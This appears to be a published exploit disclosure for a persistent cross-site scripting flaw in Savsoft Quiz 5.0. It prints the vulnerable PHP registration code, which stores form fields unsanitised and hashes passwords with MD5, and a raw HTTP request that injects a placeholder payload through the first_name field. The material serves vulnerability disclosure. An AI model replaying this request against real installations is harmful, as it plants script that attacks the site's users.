65 lines
No EOL
2.1 KiB
Text
65 lines
No EOL
2.1 KiB
Text
# Exploit Title: Savsoft Quiz 5 - Persistent Cross-Site Scripting
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# Date: 2020-07-09
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# Exploit Author: Ogulcan Unveren(th3d1gger)
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# Vendor Homepage: https://savsoftquiz.com/
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# Software Link: https://github.com/savsofts/savsoftquiz_v5.git
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# Version: 5.0
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# Tested on: Kali Linux
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---Vulnerable Source Code----
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function insert_user_2(){
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$userdata=array(
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'email'=>$this->input->post('email'),
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'password'=>md5($this->input->post('password')),
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'first_name'=>$this->input->post('first_name'),
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'last_name'=>$this->input->post('last_name'),
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'contact_no'=>$this->input->post('contact_no'),
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'gid'=>implode(',',$this->input->post('gid')),
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'su'=>'2'
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);
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$veri_code=rand('1111','9999');
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if($this->config->item('verify_email')){
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$userdata['verify_code']=$veri_code;
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}
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if($this->session->userdata('logged_in_raw')){
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$userraw=$this->session->userdata('logged_in_raw');
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$userraw_uid=$userraw['uid'];
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$this->db->where('uid',$userraw_uid);
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$rresult=$this->db->update('savsoft_users',$userdata);
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if($this->session->userdata('logged_in_raw')){
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$this->session->unset_userdata('logged_in_raw');
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}
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}else{
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$rresult=$this->db->insert('savsoft_users',$userdata);
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$uid=$this->db->insert_id();
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foreach($_POST['custom'] as $ck => $cv){
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if($cv != ''){
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$savsoft_users_custom=array(
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'field_id'=>$ck,
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'uid'=>$uid,
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'field_values'=>$cv
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);
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$this->db->insert('savsoft_users_custom',$savsoft_users_custom);
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}
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}
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----Vulnerable Request---
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POST /index.php/login/insert_user/ HTTP/1.1
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Host: savsoftquiz_v5
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://192.168.1.2/index.php/login/registration/
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 231
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Connection: close
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Cookie: ci_session=0lhlr1iv1qgru1u1kmg42lbvj8mprokv
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Upgrade-Insecure-Requests: 1
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email=hello%40gmail.com&password=password&first_name=XSSPAYLOAD&last_name=test&contact_no=05785555555&gid%5B%5D=1 |